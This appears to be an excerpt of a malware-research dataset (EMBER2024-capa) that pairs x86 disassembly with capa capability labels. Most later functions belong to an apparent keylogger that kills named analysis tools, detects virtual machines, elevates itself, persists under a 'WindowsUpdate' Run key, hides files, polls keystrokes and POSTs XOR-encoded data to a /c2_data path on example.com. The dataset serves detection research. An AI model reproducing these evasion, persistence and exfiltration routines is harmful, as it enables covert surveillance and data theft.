joyce8/EMBER2024-capa huggingface dataset:
Function at 0x52af3c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, eax
mov edi, dword [ebx + 0x24]
mov esi, dword [ebx + 0x34]
sub esi, dword [ebx + 0x6c]
sub esi, dword [ebx + 0x64]
test esi, esi
jne 0x52af65
cmp dword [ebx + 0x64], 0
jne 0x52af65
cmp dword [ebx + 0x6c], 0
jne 0x52af65
mov esi, edi
jmp 0x52aff2
cmp esi, 0xffffffff
jne 0x52af70
dec esi
jmp 0x52aff2
mov eax, dword [ebx + 0x64]
mov edx, edi
sub edx, 0x106
add edx, edi
cmp eax, edx
jb 0x52aff2
mov eax, dword [ebx + 0x30]
lea edx, [eax + edi]
mov ecx, edi
call fcn.0052655c
sub dword [ebx + 0x68], edi
sub dword [ebx + 0x64], edi
sub dword [ebx + 0x54], edi
mov eax, dword [ebx + 0x44]
mov edx, dword [ebx + 0x3c]
lea edx, [edx + eax*2]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp edi, dword [esp]
ja 0x52afba
movzx ecx, word [esp]
sub cx, di
mov word [edx], cx
jmp 0x52afbf
mov word [edx], 0
dec eax
test eax, eax
jne 0x52afa0
mov eax, edi
mov edx, dword [ebx + 0x38]
lea edx, [edx + eax*2]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp edi, dword [esp]
ja 0x52afe6
movzx ecx, word [esp]
sub cx, di
mov word [edx], cx
jmp 0x52afeb
mov word [edx], 0
dec eax
test eax, eax
jne 0x52afcc
add esi, edi
mov eax, dword [ebx]
cmp dword [eax + 4], 0
je 0x52b050
mov edx, dword [ebx + 0x64]
add edx, dword [ebx + 0x6c]
mov ecx, dword [ebx + 0x30]
lea edx, [ecx + edx]
mov ecx, esi
call fcn.0052ace4
add dword [ebx + 0x6c], eax
cmp dword [ebx + 0x6c], 3
jb 0x52b03b
mov eax, dword [ebx + 0x64]
mov edx, dword [ebx + 0x30]
movzx eax, byte [edx + eax]
mov dword [ebx + 0x40], eax
mov ecx, dword [ebx + 0x50]
shl eax, cl
mov edx, dword [ebx + 0x64]
mov ecx, dword [ebx + 0x30]
movzx edx, byte [ecx + edx + 1]
xor eax, edx
and eax, dword [ebx + 0x4c]
mov dword [ebx + 0x40], eax
cmp dword [ebx + 0x6c], 0x106
jae 0x52b050
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x52af45
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x5360cc
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe4
mov dword [esp], eax
mov eax, dword [esp]
mov eax, dword [eax + 0x19c]
mov dword [esp + 4], eax
mov eax, dword [esp]
cmp byte [eax + 0x46], 1
jne 0x5360fe
mov dword [esp + 0x14], 0x1fe
mov eax, dword [esp + 4]
mov byte [eax + 0x1c], 1
jmp 0x53610c
xor eax, eax
mov dword [esp + 0x14], eax
mov eax, dword [esp + 4]
mov byte [eax + 0x1c], 0
mov eax, dword [esp]
mov eax, dword [eax + 0x58]
push eax
mov eax, dword [esp + 4]
mov ebx, dword [eax + 4]
mov ecx, dword [esp + 0x18]
add ecx, 0x100
mov edx, 1
mov eax, dword [esp + 4]
call dword [ebx + 8]
mov edx, dword [esp + 4]
mov dword [edx + 0x18], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x14]
mov dword [esp + 0x10], eax
mov eax, dword [esp]
mov eax, dword [eax + 0x58]
dec eax
test eax, eax
jl 0x536236
inc eax
mov dword [esp + 0x18], eax
xor ebp, ebp
mov eax, dword [esp + 4]
mov eax, dword [eax + ebp*4 + 0x20]
mov dword [esp + 0xc], eax
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
cdq
idiv ecx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x14], 0
je 0x536188
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x18]
add dword [eax + ebp*4], 0xff
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x18]
mov eax, dword [eax + ebp*4]
mov dword [esp + 8], eax
xor esi, esi
mov eax, dword [esp + 0xc]
dec eax
push eax
xor ecx, ecx
mov edx, ebp
mov eax, dword [esp + 4]
call fcn.00535f7c
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jge 0x5361cd
inc esi
mov eax, dword [esp + 0xc]
dec eax
push eax
mov ecx, esi
mov edx, ebp
mov eax, dword [esp + 4]
call fcn.00535f7c
mov edi, eax
cmp edi, ebx
jl 0x5361b3
mov eax, esi
imul byte [esp + 0x10]
mov edx, dword [esp + 8]
mov byte [edx + ebx], al
inc ebx
cmp ebx, 0x100
jne 0x5361af
cmp dword [esp + 0x14], 0
je 0x53622b
mov eax, dword [esp + 8]
sub eax, 0xff
mov ebx, 1
mov edx, 0xff
sub edx, ebx
mov ecx, dword [esp + 8]
movzx ecx, byte [ecx]
mov byte [eax + edx], cl
lea edx, [ebx + 0xff]
mov ecx, dword [esp + 8]
add ecx, edx
mov edx, dword [esp + 8]
movzx edx, byte [edx + 0xff]
mov byte [ecx], dl
inc ebx
cmp ebx, 0x100
jne 0x5361f8
inc ebp
dec dword [esp + 0x18]
jne 0x536158
add esp, 0x1c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x53cae0
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
push esi
push edi
push ebp
mov edi, eax
cmp dword [edi + 0x14], 0xca
jne 0x53cb11
mov eax, edi
call fcn.0053caa8
cmp byte [edi + 0x40], 0
je 0x53cb0a
mov dword [edi + 0x14], 0xcf
mov bl, 1
jmp 0x53cb9a
mov dword [edi + 0x14], 0xcb
mov eax, dword [edi + 0x14]
cmp eax, 0xcb
jne 0x53cb7f
mov eax, dword [edi + 0x184]
cmp byte [eax + 0x10], 0
je 0x53cb77
cmp dword [edi + 8], 0
je 0x53cb34
mov ebx, dword [edi + 8]
mov eax, edi
call dword [ebx]
mov ebx, dword [edi + 0x184]
mov eax, edi
call dword [ebx]
mov esi, eax
test esi, esi
jne 0x53cb48
xor ebx, ebx
jmp 0x53cb9a
cmp esi, 2
je 0x53cb77
cmp dword [edi + 8], 0
je 0x53cb27
cmp esi, 3
je 0x53cb5b
dec esi
jne 0x53cb27
mov eax, dword [edi + 8]
inc dword [eax + 4]
mov ebp, dword [edi + 8]
mov eax, dword [ebp + 4]
cmp eax, dword [ebp + 8]
jl 0x53cb27
mov eax, dword [edi + 0x110]
add dword [ebp + 8], eax
jmp 0x53cb27
mov eax, dword [edi + 0x70]
mov dword [edi + 0x78], eax
jmp 0x53cb91
cmp eax, 0xcc
je 0x53cb91
mov ecx, eax
mov dl, 0x14
mov eax, edi
call fcn.0052bdfc
mov eax, edi
call fcn.0053cba4
mov ebx, eax
mov eax, ebx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x555f2c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov esi, dword [ebp + 0xc]
xor eax, eax
push ebp
push 0x5560b1
push dword fs:[eax]
mov dword fs:[eax], esp
movzx eax, byte [ebx + 0x2be]
sub al, 2
jb 0x556096
cmp byte [ebx + 0x2b0], 0
je 0x556096
mov eax, dword [ebp - 4]
call fcn.0055edec
mov word [ebp - 6], ax
xor eax, eax
push ebp
push 0x55608f
push dword fs:[eax]
mov dword fs:[eax], esp
movzx eax, word [ebp - 6]
sub ax, 8
je 0x555fd3
dec ax
je 0x555fa9
sub ax, 0x12
jne 0x555fed
call fcn.004045ec
jmp 0x556096
cmp byte [ebx + 0x2b1], 0
je 0x556075
mov eax, ebx
call fcn.0043bc98
test al, al
je 0x556075
xor edx, edx
mov eax, ebx
call fcn.0043bcbc
jmp 0x556075
mov eax, dword [esi]
call fcn.004055f0
mov edx, eax
mov eax, esi
mov ecx, 1
call fcn.004057e4
jmp 0x556075
cmp byte [ebx + 0x2b1], 0
je 0x55600a
mov eax, ebx
call fcn.0043bc98
test al, al
jne 0x55600a
mov dl, 1
mov eax, ebx
call fcn.0043bcbc
call sub.kernel32.dll_GetTickCount
mov edx, dword [ebp + 8]
sub eax, dword [edx]
cmp eax, 0x4e2
jb 0x556022
mov eax, esi
call fcn.00405404
call sub.kernel32.dll_GetTickCount
mov edx, dword [ebp + 8]
mov dword [edx], eax
push 0
push 1
lea eax, [ebp - 0x10]
movzx edx, word [ebp - 6]
call fcn.00405520
mov ecx, dword [ebp - 0x10]
mov edx, dword [esi]
lea eax, [ebp - 0xc]
call fcn.0040565c
mov ecx, dword [ebp - 0xc]
mov edx, edi
mov eax, ebx
call fcn.00555d40
test al, al
je 0x556075
lea eax, [ebp - 0x14]
movzx edx, word [ebp - 6]
call fcn.00405520
mov edx, dword [ebp - 0x14]
mov eax, esi
call fcn.004055fc
mov word [ebp - 6], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x556096
mov eax, dword [ebp - 4]
movzx edx, word [ebp - 6]
call fcn.0055ee20
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5560b8
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.0040541c
ret
Function at 0x558b50
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x558c1e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x18]
push 0xd
call sub.user32.dll_GetClipboardData
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x558bd7
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0xc], 0
je 0x558baa
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GlobalLock
mov edx, eax
mov eax, dword [ebp - 8]
call fcn.00405560
jmp 0x558bb2
mov eax, dword [ebp - 8]
call fcn.00405404
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x558bde
cmp dword [ebp - 0xc], 0
je 0x558bce
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GlobalUnlock
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
ret

Function at 0x55c35c
Capabilities:
Set global application hook

Disassembly:
mov eax, dword [0x5bed4c]
cmp dword [eax], 2
je 0x55c37a
mov ecx, 0x30e
mov edx, 0x55c3ac
mov eax, 0x55c3e8
call fcn.00404b14
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
push 0x55c2fc
push 3
call sub.user32.dll_SetWindowsHookExW
mov dword [0x610860], eax
cmp dword [0x610860], 0
jne 0x55c3a1
call fcn.0040f7d8
ret

Function at 0x55c794
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, dword [0x5be840]
cmp byte [eax], 0
jne 0x55c7c2
mov ecx, 0xaf
mov edx, 0x55c810
mov eax, 0x55c84c
call fcn.00404b14
mov eax, ebx
call fcn.00405404
push 0
movzx eax, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyW
shl eax, 0x10
test eax, eax
je 0x55c800
push 0x200
lea edx, [ebp - 0x202]
push edx
push eax
call sub.user32.dll_GetKeyNameTextW
mov eax, ebx
lea edx, [ebp - 0x202]
mov ecx, pe_nt_image_headers32
call fcn.004055b4
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x55c860
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov eax, dword [0x5be840]
cmp byte [eax], 0
jne 0x55c883
mov ecx, 0xbd
mov edx, 0x55c8c4
mov eax, 0x55c900
call fcn.00404b14
push 2
movzx eax, bx
push eax
call sub.user32.dll_MapVirtualKeyW
mov edi, eax
mov eax, ebx
add eax, 0xffffffd0
sub ax, 0xa
jae 0x55c8b6
mov esi, ebx
sub si, 0x30
add si, 0x30
cmp si, di
je 0x55c8b6
push esi
call sub.user32.dll_VkKeyScanW
cmp al, bl
jne 0x55c8b6
mov edi, esi
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x55d468
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x55d5fa
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.user32.dll_GetKeyboardLayout
mov edx, dword [ebp - 8]
mov dword [edx + 0xbc], eax
mov eax, dword [ebp - 8]
mov esi, dword [eax + 0x64]
test esi, esi
jne 0x55d4a9
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x55d4c6
mov edi, dword [esi + 0x6c]
test edi, edi
je 0x55d4bc
mov eax, edi
call fcn.004494c8
mov dword [ebp - 4], eax
jmp 0x55d4c6
mov eax, esi
call fcn.004494c8
mov dword [ebp - 4], eax
mov eax, dword [0x5be840]
cmp byte [eax], 0
je 0x55d5df
mov eax, dword [ebp - 8]
cmp dword [eax + 0x64], 0
je 0x55d5df
test ebx, ebx
je 0x55d5df
mov eax, dword [ebp - 8]
movzx eax, word [eax + 0x1c]
and ax, word [0x55d608]
movzx edx, word [0x55d60c]
cmp dx, ax
jne 0x55d5df
mov eax, dword [ebp - 8]
cmp byte [eax + 0x3e], 0
je 0x55d5df
push ebp
call fcn.0055d294
pop ecx
test al, al
je 0x55d5df
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 8]
call fcn.0055d0a8
mov eax, dword [ebp - 8]
call fcn.0044b014
test eax, eax
jne 0x55d58d
mov eax, dword [ebp - 8]
cmp word [eax + 0x60], 0
je 0x55d58d
mov eax, dword [ebp - 8]
mov esi, dword [eax + 0x64]
test esi, esi
je 0x55d566
cmp dword [esi + 0x64], 0
jne 0x55d566
mov eax, dword [esi + 4]
mov edx, dword [0x447e40]
call fcn.00403e18
test al, al
jne 0x55d58d
push dword [ebp - 0xc]
push 0x55d614
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 8]
movzx eax, word [eax + 0x60]
call fcn.0055c914
push dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004056cc
push ebp
lea eax, [ebp - 0x14]
call fcn.0055d2f0
pop ecx
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
call fcn.00405714
je 0x55d5df
push ebp
mov eax, dword [ebp - 0xc]
call fcn.0055d3d8
pop ecx
mov eax, dword [ebp - 8]
mov esi, dword [eax + 0x64]
cmp esi, dword [ebx + 0x34]
je 0x55d5bf
cmp dword [esi + 0x6c], 0
je 0x55d5df
mov eax, ebx
mov edx, dword [0x447e40]
call fcn.00403e18
test al, al
je 0x55d5df
cmp dword [ebx + 0x38], 0
je 0x55d5df
mov eax, dword [ebx + 0x38]
push eax
call sub.user32.dll_DrawMenuBar
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x55d601
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.0040541c
ret
Function at 0x586420
Capabilities:
Hide graphical window

Disassembly:
add esp, 0xfffffe18
mov dword [esp], 0x1e8
mov eax, dword [0x6109d0]
call fcn.0045c13c
mov dword [esp + 4], eax
mov dword [esp + 8], 1
mov dword [esp + 0xc], 7
mov dword [esp + 0x10], 0x401
mov eax, dword [0x5beb4c]
mov eax, dword [eax]
mov eax, dword [eax + 0xa0]
call fcn.00432d1c
mov dword [esp + 0x14], eax
mov edx, 0x586498
lea eax, [esp + 0x18]
call fcn.0040a88c
push esp
push 0
call sub.shell32.dll_Shell_NotifyIconA
push 0
mov eax, dword [0x6109d0]
call fcn.0045c13c
push eax
call sub.user32.dll_ShowWindow
add esp, 0x1e8
ret
Function at 0x401064
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
mov eax, 0x1164
call fcn.00402850
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1160], eax
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x10]
mov dword [esp + 0x18], str.procexp.exe
push eax
push 0x1000
lea eax, [esp + 0x74]
mov dword [esp + 0x24], str.ProcessHacker.exe
push eax
mov dword [esp + 0x2c], str.wireshark.exe
mov dword [esp + 0x30], str.tcpview.exe
mov dword [esp + 0x34], str.ollydbg.exe
mov dword [esp + 0x38], str.x32dbg.exe
mov dword [esp + 0x3c], str.x64dbg.exe
mov dword [esp + 0x40], str.idaq.exe
mov dword [esp + 0x44], str.idaq64.exe
mov dword [esp + 0x48], str.idag.exe
mov dword [esp + 0x4c], str.idag64.exe
mov dword [esp + 0x50], str.ghidra.exe
mov dword [esp + 0x54], str.windbg.exe
mov dword [esp + 0x58], str.cheatengine.exe
mov dword [esp + 0x5c], str.autoruns.exe
mov dword [esp + 0x60], str.handle.exe
mov dword [esp + 0x64], str.immunitydebugger.exe
mov dword [esp + 0x68], str.radare2.exe
mov dword [esp + 0x6c], str.hiew.exe
mov dword [esp + 0x70], str.procmon.exe
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x4011f6
mov ebx, dword [esp + 0x10]
xor ebp, ebp
shr ebx, 2
test ebx, ebx
je 0x4011f6
cmp dword [esp + ebp*4 + 0x6c], 0
je 0x4011ed
mov esi, str._unknown_
lea edi, [esp + 0x106c]
push 0xfa
lea eax, [esp + 0x107a]
push 0
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push dword [esp + ebp*4 + 0x6c]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4011c6
lea eax, [esp + 0x68]
push eax
push 4
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x4011c6
push 0x104
lea eax, [esp + 0x1070]
push eax
push dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameA]
xor edi, edi
push dword [esp + edi*4 + 0x18]
lea eax, [esp + 0x1070]
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
jne 0x401211
inc edi
cmp edi, 0x14
jb 0x4011c8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebp
cmp ebp, ebx
jb 0x40114e
mov ecx, dword [esp + 0x1170]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040199f
add esp, 0x1164
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.stop_trying_to_analyze_me_plz_:3_n
call fcn.00401006
pop ecx
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x40122c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
lea esi, [ebp - 0x24]
xor ecx, ecx
push 4
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, 0x40000000
cpuid
mov dword [esi], eax
lea eax, [ebp - 0x20]
mov dword [esi + 4], ebx
push eax
mov dword [esi + 8], ecx
lea eax, [ebp - 0x14]
mov dword [esi + 0xc], edx
mov esi, dword [sym.imp.VCRUNTIME140.dll_memcpy]
push eax
call esi
push 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x10]
push eax
call esi
push 4
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xc]
push eax
call esi
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcmp]
lea eax, [ebp - 0x14]
push str.VMwareVMware
push eax
mov byte [ebp - 8], 0
call esi
add esp, 0x2c
test eax, eax
je 0x4012d8
lea eax, [ebp - 0x14]
push str.KVMKVMKVM
push eax
call esi
pop ecx
pop ecx
test eax, eax
je 0x4012d8
lea eax, [ebp - 0x14]
push str.VBoxVBoxVBox
push eax
call esi
pop ecx
pop ecx
pop edi
pop esi
pop ebx
test eax, eax
je 0x4012d8
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.0040199f
leave
ret
push str.stop_trying_to_analyze_me_plz_:3_n
call fcn.00401006
pop ecx
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x4012ec
Capabilities:
Connect to http server
Create http request
Encode data using xor
Send data
Send http request

Disassembly:
sub esp, 0x49c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x498], eax
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [esp + 0xc], esi
test esi, esi
je 0x401446
push ebp
mov ebp, dword [sym.imp.WININET.dll_InternetConnectA]
push edi
push ebx
push ebx
push 3
pop eax
push eax
push ebx
push ebx
push 0x1bb
push str.example.com
push esi
mov dword [esp + 0x38], eax
call ebp
mov edi, eax
test edi, edi
jne 0x40136c
push ebx
push ebx
push 3
pop eax
push eax
push ebx
push ebx
push 0x1bb
push str.example2.com
push esi
call ebp
mov edi, eax
test edi, edi
jne 0x40136c
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x401444
push ebx
push 0x800000
push ebx
push ebx
push ebx
push str._c2_data
push str.POST
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebp, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [esp + 0x1c], eax
test eax, eax
je 0x40143e
push ebx
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
pop ecx
pop ecx
push 3
mov ebp, ebx
pop esi
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
push 0x1a
cdq
pop ecx
idiv ecx
add dl, 0x41
mov byte [esp + ebp + 0x10], dl
inc ebp
cmp ebp, esi
jl 0x4013ad
push 0x405400
mov byte [esp + 0x17], bl
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
mov esi, dword [esp + 0x18]
mov ebp, dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ecx
mov ecx, eax
test ecx, ecx
jle 0x4013fc
xor edx, edx
mov eax, ebx
div dword [esp + 0x18]
mov al, byte [esp + edx + 0x10]
xor byte [ebx + 0x405400], al
inc ebx
cmp ebx, ecx
jl 0x4013e5
lea eax, [esp + 0x10]
push eax
push 0x405400
lea eax, [esp + 0x30]
push str._content_:__s___key_:__s_
push eax
call fcn.00401032
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
mov ebx, dword [esp + 0x30]
add esp, 0x14
push eax
lea eax, [esp + 0x2c]
push eax
push 0xffffffffffffffff
push str.Content_Type:_application_json_r_nUser_Agent:_TLD11Browser_10.0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push ebx
call ebp
push edi
call ebp
push esi
call ebp
pop edi
pop ebp
mov ecx, dword [esp + 0x4a0]
pop esi
pop ebx
xor ecx, esp
call fcn.0040199f
add esp, 0x49c
ret
Function at 0x40177f
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0xd0]
sub esp, 0x150
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp + 0xcc], eax
push esi
push edi
lea eax, [ebp - 0x3c]
xor edi, edi
push eax
push 8
mov dword [ebp - 0x3c], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4017e7
push 4
pop ecx
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], ecx
push eax
push ecx
lea eax, [ebp - 0x44]
push eax
push 0x14
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push dword [ebp - 0x3c]
test eax, eax
mov esi, edi
cmovne esi, dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jne 0x40183f
push 0x104
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40183f
push 0x38
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x80], 0x3c
push edi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x74], str.runas
lea eax, [ebp - 0x38]
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x70], eax
xor esi, esi
lea eax, [ebp - 0x80]
inc esi
push eax
mov dword [ebp - 0x64], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x40183c
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push edi
jmp 0x401836
mov ecx, dword [ebp + 0xcc]
pop edi
xor ecx, ebp
pop esi
call fcn.0040199f
add ebp, 0xd0
leave
ret
Function at 0x401856
Capabilities:
Create thread
Persist via run registry key
Set file attributes
Set registry value

Disassembly:
sub esp, 0x114
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x110], eax
push ebx
push ebp
push esi
push edi
call fcn.0040177f
push 0x104
lea eax, [esp + 0x20]
xor ebp, ebp
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x10]
push eax
push 2
push ebp
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x4018d7
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
pop ecx
inc eax
push eax
lea eax, [esp + 0x20]
push eax
push 1
push ebp
push str.WindowsUpdate
push dword [esp + 0x24]
call esi
push dword [esp + 0x10]
call edi
lea eax, [esp + 0x10]
push eax
push 2
push ebp
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
push 0x80000001
call ebx
test eax, eax
jne 0x401922
push 4
pop ebx
push ebx
lea eax, [esp + 0x18]
mov dword [esp + 0x18], ebp
push eax
push ebx
push ebp
push str.Hidden
push dword [esp + 0x24]
call esi
push ebx
lea eax, [esp + 0x18]
push eax
push ebx
push ebp
push str.ShowSuperHidden
push dword [esp + 0x24]
call esi
push dword [esp + 0x10]
call edi
push 6
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.GetAsyncKeyState
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, 0x4053e0
mov dword [0x4053f8], eax
push edi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [esp + 0x18]
push eax
push ebp
push ebp
push 0x4014d3
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x120]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040199f
add esp, 0x114
ret

Function at 0x40227c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4022bb
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4022bb
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4022bb
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4022bb
cmp dword [ecx + 0x74], 0xe
jbe 0x4022bb
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret